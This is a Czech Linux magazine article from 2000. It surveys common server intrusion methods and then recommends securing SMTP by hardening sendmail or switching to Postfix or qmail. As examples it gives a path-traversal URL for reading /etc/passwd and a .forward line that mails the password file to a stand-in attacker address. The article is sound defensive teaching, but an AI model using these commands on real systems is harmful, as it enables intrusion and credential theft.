| Linuxové noviny | 01/2000 | ||
|
| |||
ÚvodV minulém díle jsem slíbil, že se dnes budeme zabývat náhradou standardních služeb jejich zabezpečenými alternativami (dnes službou SMTP). Tomuto tématu se věnuji v druhé části článku. Na úvod se bude dobré seznámit s metodami, které crackeři používají k pronikání do systémů pomocí softwarových chyb v různých programech.První často využívanou chybou je buffer overflow. Princip byl popsán v Linuxových novinách v březnu roku 1998 a zájemci najdou komplexní popis v časopise Phrack http://www.phrack.com v článku Smashing the stack for fun and profit, který napsal Aleph One a najdete ho v čísle 49, soubor 14. Výhodou této chyby, samozřejmě z pohledu útočníka, je, že mu dokáže zajistit práva programu, ve kterém ji dokáže vyvolat. Terčem lokálních útoků (útočník již získal neprivilegovaný účet) jsou suid (případně sgid) root programy (v minulosti např. ping nebo mount), terčem vzdáleného útoku se stávají démoni zajišťující jednotlivé služby, zejména ti, kteří běží s právy uživatele root. Nedávnými oběťmi byli např. bind (nejrůznější druhy chyb), wu-ftpd (přetečení bufferu při mazání příliš dlouhého adresáře, tato vadná verze je součástí např. Redhat 5.0), mezi vděčné služby patří také pop3, imap, RPC služby obecně a další. Další běžnou chybou je nedostatečná kontrola požadavku u služeb, které umožňují získávat ze serveru soubory, nebo je na něj zapisovat. Jde zejména o ftp a http (budeme mluvit pouze o softwarových chybách, nikoliv o chybné konfiguraci). Asi nejstarším druhem útoku je pokus o získání souboru /etc/passwd nějakou takovouto konstrukcí: http://www.obet.cz/../../../../etc/passwd. Tyto chyby by měly být u současných běžně používaných démonů (Apache a další) minulostí. Mnohem zajímavější variantou jsou útoky na CGI skripty. Překvapivě mnoho CGI skriptů má nejrůznější chyby, které umožní získat klíčové systémové soubory. Samostatnou kapitolu potom tvoří PERL skripty. PERL je velmi mocný jazyk pro zpracování textů, a proto se v této oblasti často používá. Programátoři bohužel mají jen malé povědomí o bezpečnosti, a proto bezstarostně vytvářejí různé nebezpečné konstrukce, což speciálně v PERLU není žádný problém. Zajímavý článek věnovaný tomuto tématu vyšel opět v Phracku, číslo 55, soubor 07. Jsou zde mimo jiné i rozbory několika veřejně dostupných skriptů s ukázkami běžných chyb při zpracování parametrů atd. Lehkou práci bude útočník mít, může-li na disk neprivilegovaně zapisovat, v ideálním případě připojit záznam o novém uživateli s uid 0 do /etc/passwd, přidat záznam do cronu, inetd, nebo vytvořit soubor .rhosts v adresáři některého uživatele, nejlépe roota. V tomto případě jsou možnosti netušené, a záleží jen na fantazii útočníka, jakou metodu použije, zda si nechá požadované soubory poslat e-mailem, nebo si vytvoří do systému zadní vrátka. Další možností, která souvisí s tématem tohoto článku, jsou některé potenciálně nebezpečné vlastnosti (tedy nikoliv chyby) různých programů. Možnosti jejich využití závisí zcela na okolnostech, konfiguraci serveru atd. Jako příklad uveďme možnost spouštět příkazy v souboru .forward (používán sendmailem). Pokud se útočníkovi podaří tento soubor vytvořit v domácím adresáři některého uživatele, s obsahem např. "echo /etc/passwd | mail hacker@crack.cz", po zaslání e-mailu tomuto uživateli obdrží soubor s hesly. Další nebezpečnou vlastností, kterou jsme zmínili v minulém článku, je posílání důvěrných údajů po síti v nešifrované podobě, ev. slabě šifrované, což umožňuje jejich odposlech. Sem patří ftp, telnet a mnoho dalších služeb. Protože uživatelé většinou používají všude stejná hesla, jsou tyto informace pro útočníka velmi užitečné. Dále jen krátce některé další možnosti: například v PERLU může řetězec obsahovat znak '\0', což je v C konec řetězce. Takovýto znak vložený do parametru CGI skriptu bude ovšem nižší vrstvou (standardní knihovna nebo kernel) interpretován způsobem, který nebyl autorem skriptu očekáván, některé programy vytvářejí dočasné soubory v /tmp a ochotně následují linky, které jim tam podstrčíte, takže lze falšovat jejich pracovní data, zapisovat do nebo číst z námi požadovaných souborů apod, zkoušení hesel na pop3 serveru, chyby ve standardní knihovně nebo kernelu, se kterými nepočítáte atd. Proti některým věcem, jako např. falšování obsahu DNS nebo ARP cache, se lze bránit opravdu těžko, a protože nespadají do dnešního tématu, budeme se jimi zabývat někdy později. Pokud jste dočetli až sem a získali dojem, že za takového stavu věcí lze server ochránit jen velmi těžko a s vynaložením příliš velkého množství energie, neházejte ještě flintu do žita. Skutečnost je taková, že proti naprosté většině crackerů se dokážete bránit za relativně přijatelnou cenu, neboť ve většině případů jde o uživatele nejrůznějších běžně dostupných crackerských nástrojů bez valných technických znalostí. Při dodržení určitých pravidel dokážete zabezpečit server tak, že skutečnou hrozbou pro vás bude pouze malá skupina profesionálů. I proti nim lze podniknout mnohé a k těmto pokročilým metodám zabezpečení, které zahrnují i takové věci, jako odolnost proti sociálnímu inženýrství, falšování všeho druhu apod., se dostaneme někdy později. A nyní můžeme přistoupit k našim programům a démonům.
Bezpečné SMTP službySMTP patří mezi základní služby, které bude provozovat potenciálně každý, kdo se připojí k Internetu, a i mnoho těch, kteří je budou provozovat pouze v rámci lokální sítě. Patří tedy mezi první kandidáty na zabezpečení. V tomto případě máme naštěstí na výběr ze dvou kvalitních řešení.V Linuxu bývá často jako defaultní SMTP démon instalován a používán sendmail, který není považován za příliš bezpečný, a který navíc trpí některými koncepčními nedostatky. Kvůli jeho rozšířenosti si na něm ovšem mnoho uživatelů vypěstovalo takovou závislost, že ho prostě nemohou nahradit něčím jiným bez vynaložení značného úsilí (zejména v prostředí, kde se stará o doručování pošty pro stovky nebo tisíce klientů v různých doménách apod.), proto se nejprve budeme zabývat možnostmi jeho zabezpečení. V první řadě byste měli udržovat sendmail na nejnovější verzi. Bezpečnost kódu se zlepšila, a je šance, že nově objevené chyby budou odstraněny dříve, než je někdo využije k průniku zrovna do vašeho serveru. Druhou, u sendmailu víceméně teoretickou, možností je jeho provozování v chroot() prostředí. To má ovšem několik nevýhod. První je obtížnost jeho zprovoznění, druhou možnost jeho prolomení, neboť sendmail je jeden monolitický program běžící se superuživatelskými právy. Jedinou výhodou je možnost oklamání naivnějších crackerů. Pracnost této metody se může vyrovnat pracnosti přechodu na jiný SMTP server. Konečně třetí možností je filtrování přístupu k sendmailu z Internetu nebo lokální sítě podle způsobu jeho použití. Tím se sníží počet možných útočníků. Čtvrtou, nejbezpečnější, v mnoha případech však nejméně schůdnou, volbou je postupný přechod na jednu z dále uvedených alternativ.
PostfixPostfix je prvním bezpečným SMTP serverem, kterým se budeme zabývat. Byl psán přímo jako náhrada sendmailu, a tak se vyznačuje značnou kompatibilitou. Je produktem firmy IBM a byl napsán Wietse Venemou. Vzhledem k tomu, že se autoři snaží o co největší rozšíření, byl zveřejněn pod Open Source licencí. Bezpečnost patřila při vývoji na první místo, a tak patří mezi to nejlepší, co můžete najít.Mezi jeho významné vlastnosti patří:
Postfix najdete na adrese http://www.postfix.org. V případě, že uvažujete o náhradě sendmailu, může být Postfix tou nejméně bolestnou cestou vzhledem k jeho značné kompatibilitě, dosaženou bezpečnost lze přitom považovat za velmi kvalitní. Pokud je pro vás bezpečnost tím nejdůležitějším, můžete nasadit kalibr největší dostupné ráže: qmail.
QmailPři vytváření qmailu na něj byly kladeny ještě přísnější požadavky než na Postfix, což vedlo k vytvoření velmi kvalitního produktu. O důvěře, kterou k němu autor Dan Bernstein má, svědčí i to, že po jeho uvedení byla vypsána odměna ve výši 1000$ za nalezení chyby. Tuto odměnu se nepodařilo nikomu získat.Použití qmailu však může mít některá úskalí, zejména pokud přecházíte ze sendmailu. Především, qmail není příliš kompatibilní. Větší kompatibility můžete dosáhnou pomocí některých balíků (např. podpora souborů .forward), pokud ho však chcete využít naplno, nebude pro vás přechod snadný. Qmail mimo jiné používá jiný formát pro ukládání zpráv - maildir - který zaručuje stoprocentní spolehlivost při jejich zpracování. Tento formát zatím není podporován zdaleka všemi MUA (uveďme, že qmail dokáže pracovat i se standardním formátem mailbox). Dalším nedostatkem může být nepříliš rozsáhlá dokumentace, vzhledem k jeho rozšíření lze však očekávat podporu formou mailing listů apod. A konečně, pro qmail neexistuje žádná binární distribuce. A nyní se podívejme na vlastnosti, které z něj dělají tak kvalitní produkt:
Domácí stránkou qmailu je http://www.qmail.org.
Další zabezpečeníI když oba uvedené programy jsou samy o sobě bezpečné, chybou uživatele může dojít ke snížení dosažené bezpečnosti. Oba umožňují uživateli definovat nějaké akce, které se automaticky provedou nad došlým e-mailem. U Postfixu je lze definovat v souboru ~/.forward a u qmailu v souboru ~/.qmail (a dalších). Nejnebezpečnější akcí je samozřejmě spouštění dalších programů, které nemusí být příliš důvěryhodné, nebo se autorovi podaří vytvořit neúmyslně nějakou nebezpečnou konstrukci, kterou dokáže útočník zasláním mailu zneužít, a kompromitovat tak konto tohoto uživatele.To samé platí pro MUA, zejména textové, které často volají metamail pro zpracování mime zásilek. Soubor /etc/mailcap, kterým je metamail řízen, je tak ideálním místem pro vytváření různých nebezpečných konstrukcí. V obou těchto případech nejde o teoretické možnosti, jsou to způsoby, které jsou crackery skutečně občas používány. Dále je vhodné pamatovat na možnost využití vašeho systému spammery. Část odpovědnosti v tomto případě padá i na vás, a i když pravděpodobně nepůjde o právní postih, důvěryhodnosti vám to nepřidá. Každý z uvedených programů poskytuje nějaký způsob ochrany proti spamu a používání neoprávněnými uživateli. Je vhodné je použít. Podle mých zkušeností je tento aspekt (nejen u nás) podceňován, a můžete bezstarostně posílat poštu přes snad každý druhý SMTP server, na který narazíte.
Příště: DNS a vzdálená správa.
|
|||
